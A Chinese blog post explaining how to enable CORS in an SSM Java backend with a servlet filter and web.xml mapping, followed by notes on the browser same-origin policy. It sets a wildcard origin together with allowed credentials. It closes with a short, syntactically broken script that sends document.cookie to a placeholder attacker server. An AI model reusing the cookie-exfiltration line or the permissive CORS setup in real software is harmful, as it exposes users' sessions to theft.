ssm跨域解决
最近挑战杯项目要交了,最后一个开发的项目,还是得好好对待,不知道会不会真香,昨天还是遇到了一些问题,尤其是对接的时候,用postman对接的时候,没有啥问题,结果前端上线对接时,发现ajax无法请求到后台,才想起了我没处理跨域,顺便查阅了同源策略,复习了下劫持cookie,下面是浅谈ssm后台跨域解决及同源政策
一.ssm后台跨域
1.创建过滤器类
public class SimpleCORSFilter implements Filter {
private boolean isCross = false;
public void destroy() {
isCross = false;
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (isCross) {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
HttpServletResponse httpServletResponse = (HttpServletResponse) response;
System.out.println("拦截请求: " + httpServletRequest.getServletPath());
httpServletResponse.setHeader("Access-Control-Allow-Origin", "*");
httpServletResponse.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE");
httpServletResponse.setHeader("Access-Control-Max-Age", "0");
httpServletResponse.setHeader("Access-Control-Allow-Headers",
"Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With,userId,token");
httpServletResponse.setHeader("Access-Control-Allow-Credentials", "true");
httpServletResponse.setHeader("XDomainRequestAllowed", "1");
}
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
String isCrossStr = filterConfig.getInitParameter("IsCross");
isCross = isCrossStr.equals("true") ? true : false;
System.out.println(isCrossStr);
}
}
2.打开web.xml,创建过滤器
<filter>
<filter-name>SimpleCORSFilter</filter-name>
<filter-class>com.homyit.filter.SimpleCORSFilter</filter-class>
<init-param>
<param-name>IsCross</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>SimpleCORSFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
二.同源策略
同源策略是一种约定,是浏览器保护用户安全的核心手段.按我的个人理解就是限制了其他源之间的交互
1.源及什么定义为同源
源:指的是协议:域名:端口号这三个元素组成的,也就是url前面的。
同源:指的是源的三个元素相同
2.同源策略种类
同源策略分为两种:
1.DOM同源策略
比如标签引用其他页面的时候,不可以在获得其他源的dom节点,禁止对其他源的dom进行操作
2.XHR同源策略
禁止向不同源的发出http请求
额外提下标签可以不受同源政策的限制,也就是容易引发cookie劫持.例如
<script>
var img = Document.createElement("img");
img.src="你服务器的ip"+document.cookie();
Document.getElement("html").appendChild(img);
</script>